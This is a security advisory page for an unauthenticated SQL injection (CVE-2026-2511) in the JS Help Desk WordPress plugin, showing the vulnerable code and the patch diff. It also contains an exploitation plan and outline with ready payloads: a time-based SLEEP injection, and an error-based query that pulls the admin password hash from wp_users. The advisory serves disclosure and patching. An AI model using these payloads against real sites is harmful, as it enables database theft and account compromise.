CVE-2026-2511

JS Help Desk – AI-Powered Support & Ticketing System <= 3.0.4 - Unauthenticated SQL Injection via 'multiformid' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.0.5
Patched in
2d
Time to patch

Description

The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection via the `multiformid` parameter in the `storeTickets()` function in all versions up to, and including, 3.0.4. This is due to the user-supplied `multiformid` value being passed to `esc_sql()` without enclosing the result in quotes in the SQL query, rendering the escaping ineffective against payloads that do not contain quote characters. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.0.4
PublishedMarch 25, 2026
Last updatedMarch 26, 2026
Affected pluginjs-support-ticket

What Changed in the Fix

Changes introduced in v3.0.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2511 ## 1. Vulnerability Summary The **JS Help Desk – AI-Powered Support & Ticketing System** plugin (up to version 3.0.4) is vulnerable to an unauthenticated SQL Injection. The vulnerability exists in the `storeTickets()` function (typically located in the `…

Show full research plan

Exploitation Research Plan - CVE-2026-2511

1. Vulnerability Summary

The JS Help Desk – AI-Powered Support & Ticketing System plugin (up to version 3.0.4) is vulnerable to an unauthenticated SQL Injection. The vulnerability exists in the storeTickets() function (typically located in the Ticket model/controller) where the multiformid parameter is processed.

The root cause is the improper use of esc_sql(): the user-supplied value is passed through esc_sql() but is not enclosed in single quotes within the resulting SQL query string. This allows an attacker to break out of the intended query logic using SQL keywords (like UNION, AND, OR) that do not require quotes to function, bypassing the escaping mechanism entirely.

2. Attack Vector Analysis

  • Endpoint: WordPress Frontend (any page containing the [jssupportticket_addticket] shortcode or the main [jssupportticket] control panel).
  • Hook: the_content filter (registered in js-support-ticket.php as checkRequest).
  • Authentication: Unauthenticated (the plugin allows "Visitors" to create tickets by default).
  • Vulnerable Parameter: multiformid (sent via POST).
  • Preconditions:
    1. The plugin must be active.
    2. A page must be published with the [jssupportticket_addticket] shortcode to expose the form and nonces.

3. Code Flow

  1. Entry Point: A POST request is sent to a page where the_content is filtered by the plugin.
  2. Routing: jssupportticket::checkRequest() identifies the request via jstmod=ticket and jstlay=addticket parameters.
  3. Controller: The request is routed to JSSTticketController::handleRequest().
  4. Trigger: When $_POST['form_request'] is set to jssupportticket, the controller initiates the ticket saving process.
  5. Vulnerable Sink: JSSTticketModel::storeTickets() (or a similar field-ordering function called during ticket validation) retrieves multiformid from the request.
  6. SQL Execution: The code constructs a query similar to:
    // Pattern observed in fieldordering/model.php:
    $jsst_inquery = " AND multiformid = " . esc_sql($jsst_formid);
    $jsst_query = "SELECT * FROM ... WHERE ... " . $jsst_inquery;
    
  7. Injection: Since $jsst_formid is not wrapped in quotes, a payload like 1 AND (SELECT 1 FROM (SELECT SLEEP(5))x) is appended directly to the query.

4. Nonce Acquisition Strategy

The plugin uses a nonce named jsst_nonce for form submissions. This nonce is generated in JSSTjssupportticketController::handleRequest and typically embedded as a hidden field in the ticket creation form.

Strategy:

  1. Identify the page ID containing the ticket creation form.
  2. Navigate to the page using browser_navigate.
  3. Extract the nonce using browser_eval.

JavaScript to extract nonce:

// Look for the hidden input field usually named 'jsst_nonce'
document.querySelector('input[name="jsst_nonce"]')?.value;

5. Exploitation Strategy

We will perform a Time-Based Blind SQL Injection to confirm the vulnerability and then an Error-Based or UNION-Based extraction if the environment permits.

Step 1: Confirmation (Time-Based)

URL: http://vulnerable-wp.local/index.php?jstmod=ticket&jstlay=addticket
Method: POST
Headers: Content-Type: application/x-www-form-urlencoded
Body Parameters:

  • jstmod: ticket
  • jstlay: addticket
  • form_request: jssupportticket
  • jsst_nonce: [EXTRACTED_NONCE]
  • multiformid: 1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)
  • jssupportticket_subject: Test Subject
  • jssupportticket_message: Test Message

Step 2: Data Extraction (Error-Based)

If WP_DEBUG is enabled or the plugin reflects database errors:
Payload for multiformid:
1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)

6. Test Data Setup

  1. Activate Plugin: Ensure js-support-ticket is active.
  2. Create Trigger Page:
    wp post create --post_type=page --post_title="Create Ticket" --post_status=publish --post_content='[jssupportticket_addticket]'
    
  3. Verify Settings: Ensure visitor ticket creation is enabled (default).

7. Expected Results

  • Confirmation: The POST request with the SLEEP(5) payload should take approximately 5 seconds longer to respond than a standard request.
  • Extraction: If using error-based techniques, the response body will contain the admin password hash (e.g., XPATH syntax error: '~$P$B...').

8. Verification Steps

After the exploit, confirm the database was queried correctly:

  1. Check the WordPress database for the existence of the tables created in activation.php (e.g., wp_js_ticket_fieldsordering).
  2. Use wp-cli to check for any newly created "test" tickets that might have been partially saved despite the injection:
    wp db query "SELECT * FROM wp_js_ticket_tickets ORDER BY id DESC LIMIT 1;"
    

9. Alternative Approaches

If the storeTickets sink is hardened or requires specific fields, target the fieldordering list which uses the same vulnerable pattern:

  • Endpoint: admin-ajax.php or Frontend routing.
  • Module: fieldordering
  • Layout: fieldordering
  • Parameter: formid (mapped to multiformid in modules/fieldordering/model.php).

Note on esc_sql(): The plugin uses esc_sql() in several places without quotes. If the storeTickets path fails, JSSTfieldorderingModel::getFieldOrderingForList is a secondary target where multiformid is concatenated directly into a SELECT * query.

Research Findings
Static analysis — not yet PoC-verified

Summary

The JS Help Desk plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'multiformid' parameter. This occurs because user-supplied input is passed to esc_sql() but concatenated into queries without quote encapsulation, allowing attackers to manipulate SQL logic using numeric-based or time-based payloads to extract sensitive database information.

Vulnerable Code

// modules/fieldordering/model.php line 13
$jsst_formid = jssupportticket::$jsst_data['formid'];
if (isset($jsst_formid) && $jsst_formid != null) {
    $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid);
}

---

// modules/fieldordering/model.php line 164
if ($jsst_fieldfor == 1) {
    $jsst_query .= " AND multiformid =  " . esc_sql($jsst_formid);
}

---

// modules/fieldordering/model.php line 181
$jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  1 AND  field =  '".esc_sql($jsst_field)."' AND multiformid =  " . esc_sql($jsst_formid);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/3.0.4/modules/fieldordering/model.php /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/3.0.5/modules/fieldordering/model.php
--- /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/3.0.4/modules/fieldordering/model.php	2026-02-13 04:32:24.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/3.0.5/modules/fieldordering/model.php	2026-02-17 04:23:24.000000000 +0000
@@ -11,7 +11,7 @@
         }
 	    $jsst_formid = jssupportticket::$jsst_data['formid'];
         if (isset($jsst_formid) && $jsst_formid != null) {
-            $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid);
+            $jsst_inquery = " AND multiformid = ".intval($jsst_formid);
         }
     	else{
             $jsst_inquery = " AND multiformid = ".JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();
@@ -162,7 +162,7 @@
         }
         $jsst_query = "SELECT  * FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  " . esc_sql($jsst_fieldfor);
         if ($jsst_fieldfor == 1) {
-            $jsst_query .= " AND multiformid =  " . esc_sql($jsst_formid);
+            $jsst_query .= " AND multiformid =  " . intval($jsst_formid);
         }
         $jsst_query .=  esc_sql($jsst_adminonly) . " ORDER BY ordering ";
         jssupportticket::$jsst_data['fieldordering'] = jssupportticket::$_db->get_results($jsst_query);
@@ -178,7 +178,7 @@
         } else {
             $jsst_published = ' published = 1 ';
         }
-        $jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  1 AND  field =  '".esc_sql($jsst_field)."' AND multiformid =  " . esc_sql($jsst_formid);
+        $jsst_query = "SELECT required FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE ".$jsst_published." AND fieldfor =  1 AND  field =  '".esc_sql($jsst_field)."' AND multiformid =  " . intval($jsst_formid);
         $jsst_required = jssupportticket::$_db->get_var($jsst_query);
         return $jsst_required;
     }
@@ -601,7 +601,7 @@
             $jsst_parent = jssupportticket::$_db->get_var($jsst_query);
             $jsst_wherequery = ' OR id = '.esc_sql($jsst_parent);
         }
-        $jsst_query = "SELECT fieldtitle AS text ,id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND multiformid = ".esc_sql($jsst_formid)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' ".esc_sql($jsst_wherequery)." ) ";
+        $jsst_query = "SELECT fieldtitle AS text ,id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND multiformid = ".intval($jsst_formid)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo' OR userfieldtype = 'depandant_field') AND (depandant_field = '' ".esc_sql($jsst_wherequery)." ) ";
         $jsst_data = jssupportticket::$_db->get_results($jsst_query);
         if(isset($jsst_parentfield) && $jsst_parentfield !='' ){
             $jsst_query = "SELECT id FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE fieldfor = ".esc_sql($jsst_fieldfor)." AND (userfieldtype = 'radio' OR userfieldtype = 'combo'OR userfieldtype = 'depandant_field') AND depandant_field = '" . esc_sql($jsst_parentfield) . "' ";
@@ -1029,7 +1029,7 @@
             $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();
             $jsst_inquery = " AND multiformid = ".esc_sql($jsst_defaultformid);
         } elseif (isset($jsst_formid) && $jsst_formid != '') {
-            $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid);
+            $jsst_inquery = " AND multiformid = ".intval($jsst_formid);
         }
         $jsst_query = "SELECT field,fieldtitle FROM `" . jssupportticket::$_db->prefix . "js_ticket_fieldsordering` WHERE fieldfor = " . esc_sql($jsst_fieldfor) . $jsst_published;
         $jsst_query .= $jsst_inquery;
@@ -1069,7 +1069,7 @@
             $jsst_defaultformid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();
             $jsst_inquery = " AND multiformid = ".esc_sql($jsst_defaultformid);
         } elseif (isset($jsst_formid) && $jsst_formid != '') {
-            $jsst_inquery = " AND multiformid = ".esc_sql($jsst_formid);
+            $jsst_inquery = " AND multiformid = ".intval($jsst_formid);
         }
         $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE showonlisting = 1 AND fieldfor =  " . esc_sql($jsst_fieldfor) . esc_sql($jsst_published);
         $jsst_query .= $jsst_inquery;
@@ -1088,7 +1088,7 @@
             $jsst_query .= " ORDER BY m.is_default DESC, f.ordering ASC";
         } else {
             $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();
-            $jsst_formFilter = " AND f.multiformid = " . esc_sql($jsst_formid);
+            $jsst_formFilter = " AND f.multiformid = " . intval($jsst_formid);
             $jsst_query = "SELECT f.field, f.fieldtitle FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering f WHERE f.search_admin = 1 AND f.published = 1 AND (f.isuserfield IS NULL OR f.isuserfield != 1) ";
             $jsst_query .= $jsst_formFilter;
             $jsst_query .= " ORDER BY f.ordering ASC";
@@ -1118,7 +1118,7 @@
             $jsst_query .= " ORDER BY m.is_default DESC, f.ordering ASC";
         } else {
             $jsst_formid = JSSTincluder::getJSModel('ticket')->getDefaultMultiFormId();
-            $jsst_formFilter = " AND f.multiformid = " . esc_sql($jsst_formid);
+            $jsst_formFilter = " AND f.multiformid = " . intval($jsst_formid);
             // Query with LEFT JOIN and ordering to prioritize default form
             $jsst_query = "SELECT f.field, f.fieldtitle FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering f WHERE f.search_user = 1 AND ".$jsst_published." AND (f.isuserfield IS NULL OR f.isuserfield != 1)";
             $jsst_query .= $jsst_formFilter;
@@ -1147,7 +1147,7 @@
         } else {
             $jsst_published = ' published = 1 ';
         }
-        $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE ".$jsst_published." AND fieldfor = 1 AND multiformid =  " . esc_sql($jsst_formid) ;
+        $jsst_query = "SELECT field, showonlisting FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE ".$jsst_published." AND fieldfor = 1 AND multiformid =  " . intval($jsst_formid) ;
         $jsst_fields = jssupportticket::$_db->get_results($jsst_query);
         $jsst_fielddata = array();
         foreach ($jsst_fields AS $jsst_field) {

Exploit Outline

1. Identify a public page on the target WordPress site that includes the ticket creation form (shortcode [jssupportticket_addticket]). 2. View the page source or use the browser console to extract the value of the hidden 'jsst_nonce' input field. 3. Construct a POST request to the page URL with the following body parameters: 'jstmod=ticket', 'jstlay=addticket', 'form_request=jssupportticket', 'jsst_nonce=[EXTRACTED_NONCE]', and the malicious payload in the 'multiformid' parameter. 4. To confirm vulnerability, use a time-based payload for 'multiformid': '1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)'. A delayed response confirms the SQL injection. 5. For data extraction, use error-based payloads (if database errors are reflected) or boolean-based payloads to iteratively extract sensitive data such as admin password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.